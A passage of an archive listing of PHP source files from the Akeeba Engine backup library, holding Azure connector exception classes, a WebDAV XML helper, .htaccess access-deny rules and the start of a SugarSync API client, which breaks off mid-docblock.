 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class FileTooBigToChunk extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'The file is too big to upload either directly or in blocks (chunked). Please use a smaller Part Size for Split Archives and retry taking a backup.';

		parent::__construct($message, $code, $previous);
	}
}PK     \n  n  Z  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/LocalFileNotFound.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class LocalFileNotFound extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Local file not found.';

		parent::__construct($message, $code, $previous);
	}
}PK     \-hw  w  X  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/NoContainerName.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class NoContainerName extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Container name is not specified.';

		parent::__construct($message, $code, $previous);
	}
}PK     \RI    Q  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/NoBlocks.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class NoBlocks extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Empty list of BLOB blocks to finalize. Upload finalisation failed.';

		parent::__construct($message, $code, $previous);
	}
}PK     \t    _  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/ForwardSlashNotAllowed.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class ForwardSlashNotAllowed extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Blobs stored in the root container can not have a name containing a forward slash (/).';

		parent::__construct($message, $code, $previous);
	}
}PK     \'r    U  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/ApiException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class ApiException extends \RuntimeException
{

}PK     \uB    a  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/FileTooBigToSingleUpload.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class FileTooBigToSingleUpload extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'The file is too big to upload directly. Please use a smaller Part Size for Split Archives or uncheck the Disable Chunked Upload option and retry taking a backup.';

		parent::__construct($message, $code, $previous);
	}
}PK     \nSx  x  X  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/NoLocalFileName.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class NoLocalFileName extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Local file name is not specified.';

		parent::__construct($message, $code, $previous);
	}
}PK     \Yk8  8  ]  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/MaxBlockSizeExceeded.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class MaxBlockSizeExceeded extends ApiException
{
	public function __construct(int $currentSize, int $maxSize, $code = 500, ?\Throwable $previous = null)
	{
		$currentMb = $currentSize / 1024 / 1024;
		$maxMb     = $maxSize / 1024 / 1024;
		$message   = sprintf('Cannot put a BLOB block larger than %0.0fMb. Current block size is %0.2f Mb', $maxMb, $currentMb);

		parent::__construct($message, $code, $previous);
	}
}PK     \:r  r  O  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/NoData.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class NoData extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'No data provided for the BLOB block.';

		parent::__construct($message, $code, $previous);
	}
}PK     \<m  m  S  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/NoBlobName.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class NoBlobName extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Blob name is not specified.';

		parent::__construct($message, $code, $previous);
	}
}PK     \Sʉ      N  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      D  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \0d    K  vendor/akeeba/engine/engine/Postproc/Connector/Sugarsync/Exception/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Sugarsync\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class Base extends Exception
{
}
PK     \Sʉ      L  vendor/akeeba/engine/engine/Postproc/Connector/Sugarsync/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      B  vendor/akeeba/engine/engine/Postproc/Connector/Sugarsync/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \p,    @  vendor/akeeba/engine/engine/Postproc/Connector/Davclient/Xml.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Davclient;

defined('AKEEBAENGINE') || die();

use DOMDocument;
use DOMElement;
use DOMNode;
use Exception;
use InvalidArgumentException;

/**
 * XML utilities for WebDAV
 *
 * @copyright Copyright (C) 2007-2016 fruux GmbH (https://fruux.com/).
 * @author    Evert Pot (http://evertpot.com/)
 * @license   http://code.google.com/p/sabredav/wiki/License Modified BSD License
 *
 * Modified by Akeeba Ltd for use in Akeeba Backup in accordance with the aforementioned
 * license of the original source code. Original source code can be found at https://github.com/fruux/sabre-dav.
 */
class Xml
{

	/**
	 * Returns the 'clark notation' for an element.
	 *
	 * For example, and element encoded as:
	 * <b:myelem xmlns:b="http://www.example.org/" />
	 * will be returned as:
	 * {http://www.example.org}myelem
	 *
	 * This format is used throughout the SabreDAV sourcecode.
	 * Elements encoded with the urn:DAV namespace will
	 * be returned as if they were in the DAV: namespace. This is to avoid
	 * compatibility problems.
	 *
	 * This function will return null if a nodetype other than an Element is passed.
	 *
	 * @param   DOMNode  $dom
	 *
	 * @return string
	 */
	static function toClarkNotation(DOMNode $dom)
	{

		if ($dom->nodeType !== XML_ELEMENT_NODE)
		{
			return null;
		}

		// Mapping back to the real namespace, in case it was dav
		if ($dom->namespaceURI == 'urn:DAV')
		{
			$ns = 'DAV:';
		}
		else
		{
			$ns = $dom->namespaceURI;
		}

		// Mapping to clark notation
		return '{' . $ns . '}' . $dom->localName;
	}

	/**
	 * Parses a clark-notation string, and returns the namespace and element
	 * name components.
	 *
	 * If the string was invalid, it will throw an InvalidArgumentException.
	 *
	 * @param   string  $str
	 *
	 * @return array
	 * @throws InvalidArgumentException
	 */
	static function parseClarkNotation($str)
	{

		if (!preg_match('/^{([^}]*)}(.*)$/', $str, $matches))
		{
			throw new InvalidArgumentException('\'' . $str . '\' is not a valid clark-notation formatted string');
		}

		return [
			$matches[1],
			$matches[2],
		];
	}

	/**
	 * This method takes an XML document (as string) and converts all instances of the
	 * DAV: namespace to urn:DAV
	 *
	 * This is unfortunately needed, because the DAV: namespace violates the xml namespaces
	 * spec, and causes the DOM to throw errors
	 *
	 * @param   string  $xmlDocument
	 *
	 * @return array|string|null
	 */
	static function convertDAVNamespace($xmlDocument)
	{

		// This is used to map the DAV: namespace to urn:DAV. This is needed, because the DAV:
		// namespace is actually a violation of the XML namespaces specification, and will cause errors
		return preg_replace("/xmlns(:[A-Za-z0-9_]*)?=(\"|\')DAV:(\\2)/", "xmlns\\1=\\2urn:DAV\\2", $xmlDocument);
	}

	/**
	 * This method provides a generic way to load a DOMDocument for WebDAV use.
	 *
	 * This method throws a Sabre\DAV\Exception\BadRequest exception for any xml errors.
	 * It does not preserve whitespace, and it converts the DAV: namespace to urn:DAV.
	 *
	 * @param   string  $xml
	 *
	 * @return DOMDocument
	 * @throws Exception
	 *
	 */
	static function loadDOMDocument($xml)
	{

		if (empty($xml))
		{
			throw new Exception('Empty XML document sent');
		}

		// The BitKinex client sends xml documents as UTF-16. PHP 5.3.1 (and presumably lower)
		// does not support this, so we must intercept this and convert to UTF-8.
		if (substr($xml, 0, 12) === "\x3c\x00\x3f\x00\x78\x00\x6d\x00\x6c\x00\x20\x00")
		{

			// Note: the preceeding byte sequence is "<?xml" encoded as UTF_16, without the BOM.
			$xml = iconv('UTF-16LE', 'UTF-8', $xml);

			// Because the xml header might specify the encoding, we must also change this.
			// This regex looks for the string encoding="UTF-16" and replaces it with
			// encoding="UTF-8".
			$xml = preg_replace('|<\?xml([^>]*)encoding="UTF-16"([^>]*)>|u', '<?xml\1encoding="UTF-8"\2>', $xml);
		}

		// Retaining old error setting
		$oldErrorSetting = libxml_use_internal_errors(true);

		// Clearing any previous errors
		libxml_clear_errors();

		$dom = new DOMDocument();

		// We don't generally care about any whitespace
		$dom->preserveWhiteSpace = false;

		$dom->loadXML(self::convertDAVNamespace($xml), LIBXML_NOWARNING | LIBXML_NOERROR);

		if ($error = libxml_get_last_error())
		{
			libxml_clear_errors();
			throw new Exception('The request body had an invalid XML body. (message: ' . $error->message . ', errorcode: ' . $error->code . ', line: ' . $error->line . ')');
		}

		// Restoring old mechanism for error handling
		if ($oldErrorSetting === false)
		{
			libxml_use_internal_errors(false);
		}

		return $dom;
	}

	/**
	 * Parses all WebDAV properties out of a DOM Element
	 *
	 * Generally WebDAV properties are enclosed in {DAV:}prop elements. This
	 * method helps by going through all these and pulling out the actual
	 * propertynames, making them array keys and making the property values,
	 * well.. the array values.
	 *
	 * If no value was given (self-closing element) null will be used as the
	 * value. This is used in for example PROPFIND requests.
	 *
	 * Complex values are supported through the propertyMap argument. The
	 * propertyMap should have the clark-notation properties as it's keys, and
	 * classnames as values.
	 *
	 * When any of these properties are found, the unserialize() method will be
	 * (statically) called. The result of this method is used as the value.
	 *
	 * @param   DOMElement  $parentNode
	 * @param   array       $propertyMap
	 *
	 * @return array
	 */
	static function parseProperties(DOMElement $parentNode, array $propertyMap = [])
	{

		$propList = [];
		foreach ($parentNode->childNodes as $propNode)
		{

			if (self::toClarkNotation($propNode) !== '{DAV:}prop')
			{
				continue;
			}

			foreach ($propNode->childNodes as $propNodeData)
			{

				/* If there are no elements in here, we actually get 1 text node, this special case is dedicated to netdrive */
				if ($propNodeData->nodeType != XML_ELEMENT_NODE)
				{
					continue;
				}

				$propertyName = self::toClarkNotation($propNodeData);
				if (isset($propertyMap[$propertyName]))
				{
					$propList[$propertyName] = call_user_func([
						$propertyMap[$propertyName], 'unserializeNode',
					], $propNodeData);
				}
				else
				{
					$propList[$propertyName] = $propNodeData->textContent;
				}
			}
		}

		return $propList;
	}

	public static function unserializeNode(DOMElement $dom)
	{
		$value = [];

		foreach ($dom->childNodes as $child)
		{

			$value[] = self::toClarkNotation($child);
		}

		return $value;
	}
}
PK     \Sʉ      B  vendor/akeeba/engine/engine/Postproc/Connector/Davclient/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \QgRY  RY  <  vendor/akeeba/engine/engine/Postproc/Connector/Sugarsync.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Sugarsync\Exception\Base as SugarsyncException;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\Utf8;
use DOMDocument;
use DOMElement;

/**
 * SugarSync PHP API class for Akeeba Engine
 *
 * @obsolete  SugarSync discontinued its consumer file-sync service and its public REST API
 *            (https://api.sugarsync.com) is no longer generally available. This connector can therefore no longer be
 *            exercised against a live service, and no integration test exists for it (see GitHub issue #146). It is
 *            retained only for backward compatibility with the equally-obsolete Sugarsync post-processing engine; do
 *            not build new functionality on top of it.
 */
class Sugarsync
{
	use FileCloseAware;
	use ProxyAware;

	/** @var string The URL to the SugarSync API endpoint */
	private $apiURL = 'https://api.sugarsync.com';

	private $userAgent = 'AkeebaEngine/7.0.0.dev';

	/** @var string The developer's access key */
	private $accessKey = '';

	/** @var string The developer's private key */
	private $privateKey = '';

	/** @var string The user's email address */
	private $userEmail = '';

	/** @var string The user's password */
	private $userPassword = '';

	/** @var string The API access token */
	private $accessToken = null;

	/** @var string The ID of the authenticated SugarSync user */
	private $userID = null;

	/**
	 * Public constructor. Remember to pass a configuration array with the keys
	 * access, private, email and password. Read the code for more info.
	 *
	 * @param   array  $config  The configuration array
	 *
	 * @throws SugarsyncException
	 */
	public function __construct($config = [])
	{
		// Fetch the configuration parameters
		$this->accessKey    = array_key_exists('access', $config) ? $config['access'] : '';
		$this->privateKey   = array_key_exists('private', $config) ? $config['private'] : '';
		$this->userEmail    = array_key_exists('email', $config) ? $config['email'] : '';
		$this->userPassword = array_key_exists('password', $config) ? $config['password'] : '';

		// Update the user agent with the version of the engine
		$this->userAgent = 'AkeebaEngine/' . (defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION);
	}

	/**
	 * Is this object connected (authenticated) to SugarSync yet?
	 *
	 * @return bool
	 */
	public function isConnected()
	{
		return !empty($this->accessToken) && !empty($this->userID);
	}

	/**
	 * (Re-)Connect to SugarSync
	 *
	 * @param   array  $config  Optional override for configuration parameters
	 *
	 * @throws SugarsyncException
	 */
	public function connect($config = [])
	{
		// Apply configuration overrides
		if (array_key_exists('access', $config))
		{
			$this->accessKey = $config['access'];
		}
		if (array_key_exists('private', $config))
		{
			$this->privateKey = $config['private'];
		}
		if (array_key_exists('email', $config))
		{
			$this->userEmail = $config['email'];
		}
		if (array_key_exists('password', $config))
		{
			$this->userPassword = $config['password'];
		}

		// Check that all configuration parameters are in place
		if (empty($this->accessKey))
		{
			throw new SugarsyncException('You must set the developer access key');
		}
		if (empty($this->privateKey))
		{
			throw new SugarsyncException('You must set the developer private key');
		}
		if (empty($this->userEmail))
		{
			throw new SugarsyncException('You must set the user\'s email address');
		}
		if (empty($this->userPassword))
		{
			throw new SugarsyncException('You must set the user\'s password');
		}

		$xml = '<?xml version="1.0" encoding="UTF-8" ?>' . "\n";
		$xml .= '<authRequest>' . "\n";
		$xml .= '<username>' . Utf8::utf8_encode($this->userEmail) . '</username>' . "\n";
		$xml .= '<password>' . Utf8::utf8_encode($this->userPassword) . '</password>' . "\n";
		$xml .= '<accessKeyId>' . Utf8::utf8_encode($this->accessKey) . '</accessKeyId>' . "\n";
		$xml .= '<privateAccessKey>' . Utf8::utf8_encode($this->privateKey) . '</privateAccessKey>' . "\n";
		$xml .= '</authRequest>';

		$descriptor = [
			'method'         => 'authorization',
			'verb'           => 'POST',
			'data'           => $xml,
			'auth'           => false,
			'return_headers' => true,
		];

		$this->accessToken = null;
		$this->userID      = null;

		$ret = $this->apiCall($descriptor);

		$result = $ret['result'];

		// Extract the token
		if (preg_match('/Location:(.*?)\r/i', $result, $m))
		{
			$this->accessToken = $m[1];
		}

		// Extract the user ID
		$userStart    = strpos($result, '<user>') + 6;
		$userEnd      = strpos($result, '</user>');
		$userURL      = substr($result, $userStart, $userEnd - $userStart);
		$userParts    = explode('/', $userURL);
		$this->userID = array_pop($userParts);
	}

	/**
	 * Get a list of the top-level sync folders of the user's account
	 *
	 * @staticvar array|null $folders Caches the sync folders list
	 * @return array Sync folders as a display_name => internal_ID hash array
	 */
	public function getSyncFolders()
	{
		static $folders = null;

		if (is_null($folders))
		{
			if (!$this->isConnected())
			{
				$this->connect();
			}

			$descriptor = [
				'method' => 'user/' . $this->userID . '/folders/contents',
				'verb'   => 'GET',
			];

			$ret = $this->apiCall($descriptor);

			$xml = $ret['result'];
			$dom = new DOMDocument('1.0', 'UTF-8');
			$dom->loadXML($xml);
			$collections = $dom->getElementsByTagName('collection');
			$folders     = [];
			for ($i = 0; $i < $collections->length; $i++)
			{
				/** @var DOMElement $item */
				$item           = $collections->item($i);
				$name           = $item->getElementsByTagName('displayName')->item(0)->nodeValue;
				$ref            = $item->getElementsByTagName('ref')->item(0)->nodeValue;
				$refParts       = explode('/', $ref);
				$id             = array_pop($refParts);
				$folders[$name] = $id;
			}
			unset($dom);
		}

		return $folders;
	}

	/**
	 * Creates a new folder and returns its ID
	 *
	 * @param   string  $container      Container folder's ID or path
	 * @param   string  $newFoldername  The display name of the new folder
	 *
	 * @return string The ID of the created folder
	 *
	 * @throws SugarsyncException
	 */
	public function createFolder($container, $newFoldername)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			$container = $this->resolveFolder($container);
		}

		$xml = '<?xml version="1.0" encoding="UTF-8" ?>';
		$xml .= '<folder><displayName>' . Utf8::utf8_encode($newFoldername) . '</displayName></folder>';

		$descriptor = [
			'method'         => 'folder/' . $container,
			'verb'           => 'POST',
			'data'           => $xml,
			'return_headers' => true,
		];

		$ret    = $this->apiCall($descriptor);
		$result = $ret['result'];

		// Extract the URL
		if (preg_match('/Location:(.*?)\r/i', $result, $m))
		{
			$url = $m[1];
		}
		else
		{
			$url = '/';
		}

		$urlParts = explode('/', $url);

		return array_pop($urlParts);
	}

	/**
	 * Lists all subfolders of a folder
	 *
	 * @param   string  $container  Folder ID or path to list
	 *
	 * @return array Hashed array, folder name => folder ID
	 *
	 * @throws SugarsyncException
	 */
	public function getFolders($container)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			$container = $this->resolveFolder($container);
		}

		$descriptor = [
			'method' => 'folder/' . $container . '/contents?type=folder',
			'verb'   => 'GET',
		];
		$ret        = $this->apiCall($descriptor);

		$xml = $ret['result'];
		$dom = new DOMDocument('1.0', 'UTF-8');
		$dom->loadXML($xml);
		$collections = $dom->getElementsByTagName('collection');
		$folders     = [];
		for ($i = 0; $i < $collections->length; $i++)
		{
			/** @var DOMElement $item */
			$item           = $collections->item($i);
			$name           = $item->getElementsByTagName('displayName')->item(0)->nodeValue;
			$ref            = $item->getElementsByTagName('ref')->item(0)->nodeValue;
			$refParts       = explode('/', $ref);
			$xid            = array_pop($refParts);
			$folders[$name] = $xid;
		}
		unset($dom);

		return $folders;
	}

	/**
	 * Lists all files of a folder
	 *
	 * @param   string  $container  Folder ID or path to list
	 *
	 * @return array Hashed array, file name => file ID
	 *
	 * @throws SugarsyncException
	 */
	public function getFiles($container)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			$container = $this->resolveFolder($container);
		}

		$descriptor = [
			'method' => 'folder/' . $container . '/contents?type=file',
			'verb'   => 'GET',
		];
		$ret        = $this->apiCall($descriptor);

		$xml = $ret['result'];

		$dom = new DOMDocument('1.0', 'UTF-8');
		$dom->loadXML($xml);
		$collections = $dom->getElementsByTagName('file');
		$files       = [];
		for ($i = 0; $i < $collections->length; $i++)
		{
			/** @var DOMElement $item */
			$item         = $collections->item($i);
			$name         = $item->getElementsByTagName('displayName')->item(0)->nodeValue;
			$ref          = $item->getElementsByTagName('ref')->item(0)->nodeValue;
			$refParts     = explode('/', $ref);
			$xid          = array_pop($refParts);
			$files[$name] = $xid;
		}
		unset($dom);

		return $files;
	}

	/**
	 * Uploads a file, overwriting a file by the same name if one exists.
	 *
	 * @param   string       $container  Folder ID, or path to the folder, or full path to the file
